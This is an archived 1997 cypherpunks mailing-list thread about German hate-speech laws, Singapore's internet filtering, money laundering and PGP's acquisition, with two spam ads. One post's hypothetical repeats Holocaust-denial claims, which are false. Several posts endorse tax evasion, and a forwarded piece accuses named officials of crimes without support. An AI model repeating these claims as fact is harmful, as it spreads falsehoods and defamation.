Oh, and the claim we just saw from Peter Herngaard, that:

"The distinction is very narrow since those who call for abolition of the
hate laws, at least in Germany, at the same time advocate expulsion of
non-whites or the establishment of a dictatorship."

is demonstrably false. There are civil rights groups in Germany calling for
the "abolition of the hate laws," and yet not arguing in favor of expulsion
of non-whites or for the imposition of a dictatorship.

The notion that "advocacy of abolishing hate laws" = "calling for expulsion
of non-whtes" is false. (Further, the notion that "calling for expulsion of
non-whites" is itself an actual crime against another person is also false.)

I could, for example, get on a plane tonight in San Francisco and be in
Berlin by Monday evening. I could begin passing out "The Holocaust Myth"
pamphlets, pointing out that the so-called "ovens" at the relocation camps
were actually never turned on, and that most of the so-called
exterminations of Jews never occurred.

All of this without once calling for expulsions of non-whites from Germany.
Or calling for the establishment of a government more dictatorial than the
current one.

So, would I be charged with a hate crime? Surely. And yet the other parts
of Peter's predicate are missing.

The way to prevent a repeat of Germany's unfortunate detour into national
socialism is to just not repeat it, to not let government gain the power to
build extermination camps, raid houses at night on flimsy pretexts,
mobilize industry, etc.

The same goes for the U.S., and other countries. This is partly why so many
of us speak out strongly against the U.S. Emergency Economic Powers
(National Security Decision Directives, FEMA and Office of Emergency
Preparedness orders, Presidential Findings, etc.) and the plans for
possible imposition of martial law (Operation Garden Plot, Operation
Vampire Killer, state militias, etc.).

The best way to dead off communism, national socialism, and dictatorship in
general is through free speech, private communications, lots of guns in the
hands of citizens, a decentralized government, states' rights, strong
cryptography, tax evasion tools, and so on.

Controlling free speech has virtually nothing to do with this avoidance of
national socialism. (For a variety of reasons, too numerous to get into
here. Read Hayek, von Mises, etc. on the virtues of open societies. And
remember that "hate crime" laws almost by definition don't apply to sitting
officials....Hitler would have loved to have laws in 1933 to stop citizens
from expressing certain thoughts, but had such hate laws been in effect
then, he surely would not have applied them to himself.)

There is also the very real psychological phenomenon of "forbidden fruit
tasting sweeter." Many suspect the current resurgence of Nazism and
skinhead ideologies (loosely speaking) in Germany has a lot to do with the
thoughts being banned.

Nazism would lose a lot of its mystique if ideas could be expressed freely
in Germany.

As for the U.S. influencing Germany to crack down on free speech and
freedom of religion, I don't deny this. But that was 45-50 years ago, and
it was under military rule of a conquered nation (and imposed by victorious
generals, who, given their druthers, would have probably outlawed any kind
of free speech at all, given the way the military mind often thinks). Time
for Germany to now have its own laws.

Germany's recent actions agasint the Church of Scientology are also disturbing.

(Some of my friends are active in the War Against Scientology. I am not. I
view Scientology as just another wacky belief system. Think of it as
evolution in action. I cannot condone state actions against religions, no
matter how strange, provided their beliefs do not impinge on my rights and
the rights of others. Thus, human sacrifice of non-volunteers would be
actionable, but not human sacrifice of true believers. Or drug use. Or
whatever.)

Enough for now.

I really do with



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From jongalt at pinn.net  Sun Dec  7 18:01:09 1997
From: jongalt at pinn.net (Jon Galt)
Date: Mon, 8 Dec 1997 10:01:09 +0800
Subject: Censorial leftists (Was: Interesting article)
In-Reply-To: <199712041107.GAA29227@users.invweb.net>
Message-ID: 



On Thu, 4 Dec 1997, William H. Geiger III wrote:

> As I stated in my previous post the Nolan chart is flawed. In it's
> attempts to be "two-dimensional" it artificially separates interdependent
> philosophies. Economic Freedom = Personal Freedom. You can not have one
> without the other. The major failings of the socialist is their
> unwillingness to accept this fact. A free society can not survive under a
> socialist regime any more that a totalitarian society can survive under a
> capitalist one.

I agree with your assessment of the interdependence of economic freedom
and personal freedom.  But the Nolan chart itself is not flawed - the
political belief systems that it describes are flawed.  That is, any
political belief system that advocates different levels of governmental
control for the two - that belief system is flawed.

The Nolan chart does a much better job of describing them than the
traditional left-right spectrum does.  Nor have I seen a better
descriptive device.

Incidentally, here is my score:

Your Personal Self-Government Score is 100%. 
Your Economic Self-Government Score is 100%. 

______________________________________________________________________
Jon Galt
e-mail:  jongalt at pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
Democracy is two wolves and a sheep voting on what to have for dinner.
______________________________________________________________________






From nobody at bureau42.ml.org  Sun Dec  7 18:05:22 1997
From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer)
Date: Mon, 8 Dec 1997 10:05:22 +0800
Subject: SynData/Schneier Attack Network Associates
Message-ID: 



cvhd at indyweb.net wrote:
> Everyone should keep in mind that John McAfee very well knows on which side
> of his bread it is buttered--  McAfee has made his fortune on the
> site-licenses for government use of his anti-virus product.  U.S. Customs
> alone liceneses 17,000+ copies.  Is anyone kidding themselves about which
> side of GAK and Key Escrow McAfee will come down on?

The wonderful thing about the U.S. Customs computer system is that
one only has to compromise a single computer to access everything
on their system. God bless McAfee, who made it all possible by making
certain that all of the Customs computers were vulnerable to a single
point of entry.
I can hardly wait for their Key Escrow products to come out.

Very Anonymous








From dformosa at st.nepean.uws.edu.au  Sun Dec  7 18:06:59 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Mon, 8 Dec 1997 10:06:59 +0800
Subject: Singapore
In-Reply-To: <199712070907.RAA05005@brokat.com.sg>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 7 Dec 1997, Harish Pillay wrote:

[...]

> Well, indeed,
> the top level ISPs here have choosen to use filtering proxy servers to filter 
> out an alleged list of 100 porno sites

May I ask why thay have choosen to switch on these filters?

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNItBCaQK0ynCmdStAQESdAP/VAJU9rGOPMCl3eSQUVceQv6bVtS8KQEE
GNIB1Rkxr7IGC+zAH/zhIdZHL/WHKPK0YEt6u4SHnIRglrd/tYY8kLwI7Bu5o8Ct
puv6UzJh/24nomdqsdetsYds4VMgn3uTzI7RjkkXvuHqNh03Py8FSNBkseEqCu3Z
7TuKdcl0GGw=
=rH0k
-----END PGP SIGNATURE-----






From frissell at panix.com  Sun Dec  7 18:08:19 1997
From: frissell at panix.com (frissell at panix.com)
Date: Mon, 8 Dec 1997 10:08:19 +0800
Subject: Singapore
In-Reply-To: <01bd026d$85c8c4a0$06060606@russell>
Message-ID: <3.0.2.32.19971207205827.03c68eb8@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 05:07 PM 12/7/97 +0800, Harish Pillay wrote:

>I am a Singaporean and have lived most of my life in Singapore.  I am no
>lapdog of the government (thank you) nor do I agree with everything the 
>government does.  If it is of any interest to you, you can go to my home 
>page for information on dirt that I have posted about the SG govt.  You 
>can also go to many other sites all over (both within Singapore and outside) 

>that discuss a wide array of issues, (www.sintercom.org) for example.

It should be obvious to those who have read my stuff over the years that I am 
not a fan of Singapore's government.  As an anarchist, that would be 
ridiculous in any case.  All that I ever said was that Singapore was freer 
than lots of other countries that don't get so much bad press.  I mentioned 
Germany and I could have mentioned France.

Liberty is commutative as is tyrrany.  You can add up the restrictions and 
arrive at a total.  You can't analyze a human institution with mathematical 
perfection but you can do better than relying purely on emotional 
stereotypes.  

I think that many of us ("We Are All Liberals Now" -- The Economist, 1997) 
ignore economic liberty when comparing regimes.  

It was this failing in the Freedom House (http://www.freedomhouse.org/) 
survey "Freedom in the World" (http://www.freedomhouse.org/Political/toc.htm) 
published since 1981 that led to two competing surveys being published by 
CATO and Heritage Foundation (as mentioned in an earlier post).  

Freedom House then retaliated with "World Survey of Economic Freedom" 
(http://www.freedomhouse.org/Econ/TOC.HTM) which is vague (both Germans and 
Americans are assigned equal "right to earn a living" scores of 3 even though 
Germans are much more restricted in that endeavor than Americans).  Their 
survey also totally ignores the "takings issue".  A country with a 100% 
income tax could rank perfectly on their scales.  

There are bound to be differences of opinion about living conditions in 
different countries and different weights that individuals would assign to 
different factors.  I was never trying to convince anyone that Singapore is a 
capitalist paradise and everyone should emulate them.  In fact Hong Kong has 
had a better growth rate recently and was a nicer place to live prior to its 
late unpleasantness.

Personally, I prefer Europe's winner in the economic liberty sweepstakes -- 
Switzerland -- or the anarchist paradise where they have many laws but no one 
obeys them -- Northern Italy -- or the US where it remains easy to avoid most 
of the unpleasant restrictions that our rulers attempt to impose on us.

I also am sure that not even the promoters of "Asian Values" can resist the 
transformative effects of the cash and the personal empowerment that 
accompany the growth of MarketEarth.

DCF 

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNItUQYVO4r4sgSPhAQH+RgP/X/IddUHaQB2jkFMACVOMo8impXSJxTq6
qyWeae2PQHamOlw7OUvfiQML58qgcscj/3KYY/i72pGIvl7J+nplZvy+2WXdpkYP
ZzhMRzFWvbq3Ezvq/Xu57mYgqq2CuspioO9Ys4h/nhbUOSmCg0pC2yYuVgBnOnWM
HJN/Zn7GCTE=
=5I6e
-----END PGP SIGNATURE-----






From tcmay at got.net  Sun Dec  7 18:11:27 1997
From: tcmay at got.net (Tim May)
Date: Mon, 8 Dec 1997 10:11:27 +0800
Subject: Red-necks w/ a purpose...
In-Reply-To: <199712071403.IAA30226@einstein.ssz.com>
Message-ID: 



At 7:03 AM -0700 12/7/97, Jim Choate wrote:

>What has this to do with a couple of rednecks stopping an alleged criminal
>out of the goodness of their hearts? Further, what exactly are you talking
>about in reference to Gates? Yes, he is rich but what specificaly are you
>referning to in regards to his mentality and lynch-mob democracies?

The "Gates" referred to in this thread is NOT Bill Gates.

As in:

"Larry Gates, a 54-year-old ex-Marine, operates a convenience store in
rural Iconium, Missouri. He's also a volunteer fireman. Last Christmas
Eve..."


>If there were no police force I am sure Gates with all his money would be
>on the top of a lot of hit lists - just too juicy a target to pass up. The
>police we have now are deputized citizens. *That* happens to be one of the
>safety checks.
>
>What is your point?

See above.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From abdiel at worldnet.att.net  Sun Dec  7 18:20:08 1997
From: abdiel at worldnet.att.net (Alex Woolfson)
Date: Mon, 8 Dec 1997 10:20:08 +0800
Subject: Thanks all!
Message-ID: <000c01bd037a$bf21d1c0$d9a0400c@default>



I LOVE the cypherpunks.  :-)  Thanks all for your very useful and thorough
analysis of that documentation from the makers of Encypted Magic Folders.
It was great (particular thanks to Ray and Bill!).

As I like the concept behind it and would love to encourage these turkeys to
use strong crypto, I would like to forward some of the messages to the
company that makes the product.  If you would prefer I not do this (or would
like me to not include your name or email address), please let me know.  I'm
not going to do this for a week to give people time to get back to me.
Looks like Bill is already on their butts, already, anyway.   :-)  Maybe he
can smack some sense into 'em.  And maybe someone here could come up with a
cypherpunk equivalent?   (unless someone already has...)  Be cool if to have
this at Punk Strength.  Unfortunately, my own ability to code needs much
work...

Again, thanks.  You guys were a great help.

Alex






From stewarts at ix.netcom.com  Sun Dec  7 18:33:22 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 8 Dec 1997 10:33:22 +0800
Subject: Cato forum tomorrow: should money laundering be a crime?
In-Reply-To: <199712072343.PAA22192@sirius.infonex.com>
Message-ID: <3.0.3.32.19971207182750.0068c8f4@popd.ix.netcom.com>



>>Almost every mainstream news article and regulatory report repeats 
>>the littany that Money Laundering, that is the movement of money to disguise 
>>it origin (even if there are no predicate offenses) must remain illegal 
>>because it damages or is a threat to the world banking and financial system 
>>(not just the tax take of governments), but I have yet to see any 
>>explanation of how and why.  Anyone care to comment?

Because the major news services are Politically Correct,
not in the anti-humorless-leftist sense but in the sense of
generally supporting what the Political Class wants them to,
and generally believing what they're told to believe,
and they'll often go for the easy story rather than thinking up their own,
especially because it leaves them well-connected for doing future
stories on the Political Class and whatever the Political Class wants.
And the Political Class very badly wants to control Money Laundering
1) They want to control your money.
2) They want to control you.
3) They want you to help them control their opponents, and
	laundered money helps their opponents keep operating
4) Money Laundering lets Politically Incorrect Vegetable dealers
	hide their activities and avoid getting caught,
	and the Political Class gets a lot of power from the
	War On Vegetables.
5) Money Laundering helps people evade and avoid taxes.  Clear enough?
6) The State needs Enemies to justify its power.  This'll do.
7) Following The Money helps them know who's doing what.
				Thanks! 
					Bill
Bill Stewart, stewarts at ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From stewarts at ix.netcom.com  Sun Dec  7 18:45:18 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 8 Dec 1997 10:45:18 +0800
Subject: Singapore
In-Reply-To: <3.0.3.32.19971207114051.034b4498@dnai.com>
Message-ID: <3.0.3.32.19971207183713.0068cc44@popd.ix.netcom.com>



At 05:30 PM 12/07/1997 -0700, Tim May wrote:
>Oh, and the claim we just saw from Peter Herngaard, that:
> > "The distinction is very narrow since those who call for abolition of the
> > hate laws, at least in Germany, at the same time advocate expulsion of
> > non-whites or the establishment of a dictatorship."
>is demonstrably false. There are civil rights groups in Germany calling for
>the "abolition of the hate laws," and yet not arguing in favor of expulsion
>of non-whites or for the imposition of a dictatorship.

I think Peter's point was that most of the Germans who are calling for
the abolition of the hate laws _are_ the hate groups, rather than
civil liberties groups.  Sure, there are a few Germans who think that
free speech and assembly should mean free speech and assembly,
and aren't part of hate groups, but the government isn't out persecuting them
so they've got less incentive to make noise about it.
Also, the folks with pure motives are arguing a pure issue,
while the hatemongers get to combine their calls for the abolition of
hate laws with calls for the expulsion of non-Aryans, use it for recruiting,
and use it as a defense of their position.

>The way to prevent a repeat of Germany's unfortunate detour into national
>socialism is to just not repeat it, to not let government gain the power to
>build extermination camps, raid houses at night on flimsy pretexts,
>mobilize industry, etc.

But Herr Non-Citizen-Unit May, ve're doink this for your own good.
...
>There is also the very real psychological phenomenon of "forbidden fruit
>tasting sweeter." Many suspect the current resurgence of Nazism and
>skinhead ideologies (loosely speaking) in Germany has a lot to do with the
>thoughts being banned.

Certainly had a lot to do with kids becoming lefties in the 60s.
				Thanks! 
					Bill
Bill Stewart, stewarts at ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From ravage at ssz.com  Sun Dec  7 18:51:00 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 8 Dec 1997 10:51:00 +0800
Subject: Singapore (fwd)
Message-ID: <199712080302.VAA32114@einstein.ssz.com>



Forwarded message:

> From: frissell at panix.com
> Date: Sun, 07 Dec 1997 20:58:27 -0500
> Subject: Re: Singapore

> I think that many of us ("We Are All Liberals Now" -- The Economist, 1997) 
> ignore economic liberty when comparing regimes.  

Measure of government form:

Type            Manage             Own

Democracy       Individual         Individual

Communism       State              State

Facism          State              Individual


Note that it is quite easy to have a government type that falls between
these. Consider the current situation in the US,

Rep-Democ       Ind/State          Ind/State


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From nobody at secret.squirrel.owl.de  Sun Dec  7 18:57:26 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Mon, 8 Dec 1997 10:57:26 +0800
Subject: Singapore & Freedom
Message-ID: 



Harish Pillay  wrote:
>Interesting that you hide behind an anomymous name and you claim to
>be outside Singapore.  I for one, will stand by my name and say that
>things I should say about this country of mine (warts and all) and
>not have to hide behind anonymity (not that I would not use anonymity
>ever :-)).

Typical.






From harish at brokat.com.sg  Sun Dec  7 19:03:31 1997
From: harish at brokat.com.sg (Harish Pillay)
Date: Mon, 8 Dec 1997 11:03:31 +0800
Subject: Singapore
In-Reply-To: 
Message-ID: <199712080245.KAA30015@brokat.com.sg>



? the Platypus {aka David Formosa} shaped the electrons to read ...
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Sun, 7 Dec 1997, Harish Pillay wrote:
> 
> [...]
> 
> > Well, indeed,
> > the top level ISPs here have choosen to use filtering proxy servers to filter 
> > out an alleged list of 100 porno sites
> 
> May I ask why thay have choosen to switch on these filters?

The story goes like this.  The Singapore Broadcasting Authority wanted to 
have a mechanism to filter out "undesirable" sites.  They know extremely
well that it cannot be done successfully but nonetheless, due to political
point scoring (1996 being election year), they had to be seen to be doing
something.  So, they trialed with the ISP the use of filter lists with 
the proxy servers to see how they can implement their censorship rules.

Then when they finally announced the policy, the SBA quickly covered their
asses by saying that they leave it to the ISPs to choose the weapon to do
the SBA's evil deed.  The ISPs, having trialed the filter mechanism, decided 
to continue with it which is just as well, for we can easily work around it.

So, today, there are an alleged 100 sites that are on the filter list.  What
these sites are, are a unknown.  Nonetheless there is an effort to 
independently discover the list (http://www.sintercom.org/hunt/rahunt.html).
Also, read http://home.pacific.net.sg/~harish/fiasco for an angle on the
whole issue.

Regards.
-- 
Harish Pillay                             	  h.pillay at ieee.org
Singapore      *** Ask me about Linux *** http://home.pacific.net.sg/~harish






From vznuri at netcom.com  Sun Dec  7 19:45:02 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Mon, 8 Dec 1997 11:45:02 +0800
Subject: reno, encryption, rsa, etc. (softwar)
Message-ID: <199712080330.TAA17383@netcom14.netcom.com>




------- Forwarded Message

Date: Thu, 04 Dec 1997 16:05:55 -0800
From: "J. Orlin Grabbe" 
To: snetnews at world.std.com
Subject: SNET: [Fwd: FREEH SPEECH]


- ->  SearchNet's   SNETNEWS   Mailing List

From: softwar at us.net (SOFTWAR)
Subject: FREEH SPEECH
Date: Thu, 04 Dec 1997 17:09:51 GMT

General Reno has declined to appoint an Independent Counsel to
investigate campaign abuses by the Clinton White House.  Several
Congressional leaders have sputtered they are concerned about
Ms. Reno's conflict of interest in the matter.  Of course, the
Republican specifics of her "conflict" never go past the fact
that she was appointed by Clinton.  However, the connections
between Ms. Reno and the Clinton scandals are well known to at
least one person inside the Beltway.

One example of Reno's conflict is the Clinton China Crypto Scam.
It was Reno's Justice Anti-Trust Division that authorized the
merger of a major company backed by a big donor to the DNC.  The
companies, RSA and Security Dynamics, sought the merger in 1996
just after RSA Chairman James Bidzos signed a memo of
understanding to perform "encryption research" with China.  The
donor, Sanford Robertson, paid $100,000 to the DNC just prior to
the merger.  Furthermore, Mr. Robertson was on the list of those
called by Al Gore from the White House and the MONEY arrived
just after Gore's call.  In fact, $20,000 of Robertson's
donation was split into a HARD money account by the DNC.  Of
course, Mr. Robertson's investment firm made a cool two million
dollars on the merger deal, spurred in part by the lucrative
RSA contract with the PRC.

Yet, Ms. Reno was also directed officially by President Clinton
to oversee the "encryption problem" and enforce policy.  For
example, according to recently declassified documents from the
Clinton National Security Council, Ms. Reno was tasked by
President Clinton in 1993 to oversee the Clipper project.  Ms.
Reno was directed by Clinton to purchase 9,000 Clipper phones
for the FBI.  In addition, Clinton directed Ms. Reno to prepare
Clipper for export.  Finally, Reno was tasked to convince the US
communications and computer industry to voluntarily implement
the Clipper "key escrow" back door into all US made products.
Simply put, Ms. Reno was, and is still, in charge of bugging
America's telephones.

Yet, how far can Ms. Reno go?  According to the Presidential
Directive, "Should (US) industry fail to fully assist the
government in meeting its requirements within a reasonable
period of time, the Attorney General will recommend legislation
which would compel manufacturers to meet government
requirements."

Thus, if we do not voluntarily give up our rights to privacy,
Ms. Reno is tasked by President Clinton with drawing up the laws
for "mandatory" government phone bugs.  Yet, there is
overwhelming evidence that Ms. Reno quietly turned her head as a
major DNC backer managed a deal involving the Communist Chinese
and advanced encryption technology.

Other than approving the lucrative RSA merger/export, Ms Reno
and the Justice Department are also major players in export
policy.  They are part of an Inter-Agency Working group
specifically tasked to cover crypto and exports.  As proof,
Reno's Justice Department has written most of the Clinton
encryption policy papers.  In fact, some of the secret documents
written by Reno's Justice Department on crypto policy were
compromised by former DNC fund-raiser Ira Sockowitz.  Sockowitz
walked out of the Commerce Department with over 2,000 pages of
secrets in 1996.  Ironically, included in the Sockowitz papers
are secret documents covering the 1996 RSA/China deal.

Curiously, Ms. Reno has chosen NOT to look into the matter.

The connections between Ms. Reno and the Clinton scandals are
also well known to at least one person inside the Beltway.  FBI
Director Louie Freeh knows.  He is aware of that advanced
technology was being shipped to China while draconian laws
banning the same technology were considered here.  Director
Freeh also knows that his boss, Ms. Reno, is deeply involved in
criminal obstruction involving high tech exports, DNC donors,
and her own Justice Department.  He knows she is covering for
crimes that she and her Department were charged to prevent.

The question now is...  Does Freeh have the guts to tell
America?

1 if by land, 2 if by sea.  Paul Revere - encryption 1775

Charles R. Smith
SOFTWAR
http://www.us.net/softwar

Pcyphered SIGNATURE:
3B766150F4B90D30688C657BB44EE7016793781A184F584E7C129D2A8A03F3F5
0B833ABFCE759CC129AF6A33B104406F19EB68AF61050087B65A66C94EA8B0B9
1D70D66883BCA304




- -> Send "subscribe   snetnews " to majordomo at world.std.com
- ->  Posted by: "J. Orlin Grabbe" 


------- End of Forwarded Message






From fasc at expno.com  Mon Dec  8 11:59:20 1997
From: fasc at expno.com (fasc at expno.com)
Date: Mon, 8 Dec 1997 11:59:20 -0800 (PST)
Subject: First American Scientific Corp.
Message-ID: <199712081759.MAA21404@power.expno.com>


First American Scientific Corporation has developed new technology that
we feel is of global significance to problems arising from human waste
disposal activity.  Full details are available at
http://www.expno.com/fasc  .


The technology, which is built into our Kinetic Disintegration System, 
is called Kinetic Disintegration Technology (KDT) and incorporates standing 
sound waves and kinetic energy to disintegrate virtually all non-metallic
substances into powders as fine as -400 mesh.  This means that previously
problematic recyclables like rubber (tires), gypsum (drywall), plastics,
insulation, glass, and bio-solid wastes can be cost-effectively
"micronized" and separated for re-use as industrial raw materials.


This information will be of particular interest to investors, municipal
engineers, agricultural research facilities, waste disposal engineers,
recycled product developers, and others who have an interest in
solving the crises being generated by worldwide waste disposal.

Thank you for taking the time to read this letter.

Investor Relations
First American Scientific Corporation
NASD EBB:FASC

Please reply with "remove" in the subject line for easy and permanent removal.





From promo54 at hotmail.com  Mon Dec  8 12:25:44 1997
From: promo54 at hotmail.com (promo54 at hotmail.com)
Date: Mon, 8 Dec 1997 12:25:44 -0800 (PST)
Subject: FREE FOR YOUR SITE !!!
Message-ID: <199712081934.OAA21594@barbera.ai.net.>


///////////////////////////////////////////////////////////////////////////////
This Message is Directed Towards Adult Webmasters Only!!!!!
If you wish to be removed, please reply with the subject "Remove" and this
software will automatically block you from future mailings.
////////////////////////////////////////////////////////////////////////////////

Hello Adult Webmaster,

I came across your website and found that you may be interested in our
services...Placing 011,800,900 PHONESEX numbers on your site!(Free to
WebMasters) 

Looking to make extra income from your adult site???? You'll make $$$ 
off every minute someone calls your number. All you do is advertise 
the number on your site!  We supply you with 900, 800 or 011 number(s),
Your choice of Straight, Gay, or Fetish lines available, online call 
stats(for tracking your income) and full customer service. 
FREE FREE FREE 

NOW SUPERFAST STARTUP ONLINE:    http://www.cyberfun.ca

Thanking you in advance! 

Sincerely,
Chris Rose
Account Executive
Rosenbrewer Communications
chris at cyberfun.ca







From vznuri at netcom.com  Sun Dec  7 20:29:36 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Mon, 8 Dec 1997 12:29:36 +0800
Subject: PRZ/PGP loses it
Message-ID: <199712080425.UAA22239@netcom14.netcom.com>




------- Forwarded Message

Date: Thu, 4 Dec 1997 15:02:44 -0500
From: bxs29 at cas.org (Barry Skaggs-D26)
To: cas at majordomo.pobox.com, ignition-point at majordomo.pobox.com
Subject: IP: (OT) Cloud Over Future of PGP

Seems like the days of peer-reviewed encryption
software may be numbered.  Just trust Us.

Regards,

Barry Skaggs



Cloud Over Future of Pretty Good Privacy
     The Price of Key Recovery

Following Monday's US$35 million cash
acquisition of PGP by Network Associates,
the man who once testified before the
Senate that key recovery could "strengthen
the hand of a police state" now works for a
company that actively promotes it. 

Reaction from e-privacy activists was swift
and harsh. 
"The users of PGP can no longer rely on the
credibility of Phil Zimmermann to ensure that
the product is everything that they've been
promised it's been previously," said Dave
Banisar, attorney for the Electronic Privacy
Information Center and co-author of The
Electronic Privacy Papers 

Network Associates, formerly known as
the Key Recovery Alliance, an organization
that lobbies Congress for key recovery that
would grant law enforcement agencies
back-door access to private encrypted
communications. 

Network Associates and other companies
support key recovery because it would allow
them to export strong crypto software
without bothering to make a separate
nonrecoverable version for the domestic
market. The Commerce Department forbids
export of the strongest available encryption
without elaborate promises from
manufacturers to develop key recovery
features. Thus many companies are forced
to develop both export and domestic
versions of their software, each with
differing crypto strengths. 

But Zimmermann, a pioneer of strong
encryption, has spent years crusading
against key recovery, calling it an invasion
of privacy. And the most recent release of
PGP's encryption software allows users to
disable key recovery. 

"People should give their consent to use
[recovery]," Zimmermann said. When asked
whether future versions of the package will
retain that option, Zimmermann replied,
"Certainly, as long as I have anything to say
about it." 

Zimmermann's new title at Network
Associates is "fellow," but he declined to
comment on exactly what authority and
responsibility that confers. Meanwhile, Phil
Dunkelberger, PGP's former president and
CEO, was named general manager of
Network Associates' Total Network
Security Division. 

"It's going to take some time to figure things
out," said Zimmermann. 

EPIC's Banisar was less diplomatic and
postulated that Zimmermann's new title
reflected a clash of values between him and
Network Associates on key recovery. 

"We have a number of fellows here, and
they are usually unpaid volunteers," Banisar
said. 

"It will require a fundamental examination by
human rights groups and others about
whether any newer versions of PGP are
truly trustworthy," said Banisar. 

Network Associates could not be reached
for comment. 

Wired, Dec. 3, 1997 


**********************************************
To subscribe or unsubscribe, email:
     majordomo at majordomo.pobox.com
with the message:
     subscribe ignition-point email at address
or
     unsubscribe ignition-point email at address
**********************************************
http://www.telepath.com/believer
**********************************************

------- End of Forwarded Message






From bill.stewart at pobox.com  Sun Dec  7 20:31:11 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Mon, 8 Dec 1997 12:31:11 +0800
Subject: Singapore and Germany
In-Reply-To: <3.0.2.32.19971205134306.007187b0@panix.com>
Message-ID: <3.0.3.32.19971207195940.00747a88@popd.ix.netcom.com>



At 02:09 AM 12/06/1997 +0100, Peter Herngaard wrote:
>Mr. Frissell asserts that Germany lacks rights
>such as freedom of speech and association.  This is not true.
>The German Basic Law provides for everyone the right to freedom of speech,
>religion and association.
>However, Germany prohibits hate speech i.e. National Socialism and 
>incitement to racial, religious and national hatred.

Germany also prohibits the publishers of Radikal,
and people who support mirror sites of their magazine.
Radikal isn't hate speech, though it does advocate
opposition to the power structure.


				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From bill.stewart at pobox.com  Sun Dec  7 20:31:21 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Mon, 8 Dec 1997 12:31:21 +0800
Subject: Singapore
In-Reply-To: <199712051359.IAA10734@u1.farm.idt.net>
Message-ID: <3.0.3.32.19971207195655.00747a88@popd.ix.netcom.com>



At 01:43 PM 12/05/1997 -0500, Duncan Frissell wrote:
>I don't think that Singapore is a fabulous place to live but its total 
>freedom is probably greater than Germany or France.  
>Our total freedom in the US is greater than Singapore's.

Depends on what you're measuring, and how you add non-commensurate
quantities together.  Singapore, for instance, kills drug dealers,
and informs you about that on the papers they hand you when you
enter the country.  I'd consider that a fairly blatant limitation on freedom.
The US occasionally kills drug dealers, and only very rarely if they
haven't committed other crimes, and in general seldom kills other criminals
in spite of the number of politicians who are Tough On Crime.
As far as I know, neither France nor Germany currently has the death penalty,
and they probably have fewer extrajudicial executions than the US.

The US currently won't arrest you for belonging to a political party,
now that the Anti-Communist laws have been trashed in the courts.
France and Germany will only arrest you for belonging to a few
political parties, and allow a lot of political parties that they
don't arrest you for membership in.  Singapore, if I remember,
held one of the leaders of a major opposition party in jail for
a couple of decades under Lee Kwan Yew, and makes it hard for 
opposition parties to organize and grow.

Singapore lets you work when you want to work, as long as you're
not doing a politically incorrect job like selling chewing gum or dope.
Germany doesn't really mind you selling dope, as long as your
shop is closed by 18:30 weekdays and earlier on Saturday :-)
(Don't think your customers are allowed to order pizza late, either...)

You can feel safe walking down the streets of Singapore at night.
A nice letter to the San Francisco Chronicle pointed out that the
author also felt very safe walking down the streets of Amsterdam.
Safety doesn't require a tyrannical police state or closed value system.

Without economic freedoms, it's difficult to preserve political and
lifestyle freedoms, especially if the economic limitations go beyond
stealing a lot of your money and into micromanaging how you spend it,
e.g. forbidding unlicensed purchases of printing presses or radio stations.

Without political freedoms, it's difficult to preserve economic freedoms;
if you can't organize and vote out a corrupt or big-spending government,
you're stuck between being constantly ripped off, violent revolution
(which is an expensive activity, especially if guns are hard to get),
or evading government officials (whether it's the Mexican system of
usually small bribes to avoid bigger problems, or the Italian system of
rampant cheating on high income taxes, or the Cypherpunks system
of keeping your income invisible and out of reach.)

Usually, tyrannical governments also want to rip off your money,
and corrupt governments want to keep you in your place politically
so they can continue receiving graft.  Occasionally some society
will be stuck with a tyrannical government that realizes it'll have
more power by letting its people make money, or a greedy do-gooder
society that doesn't mind what you do in your spare time as long
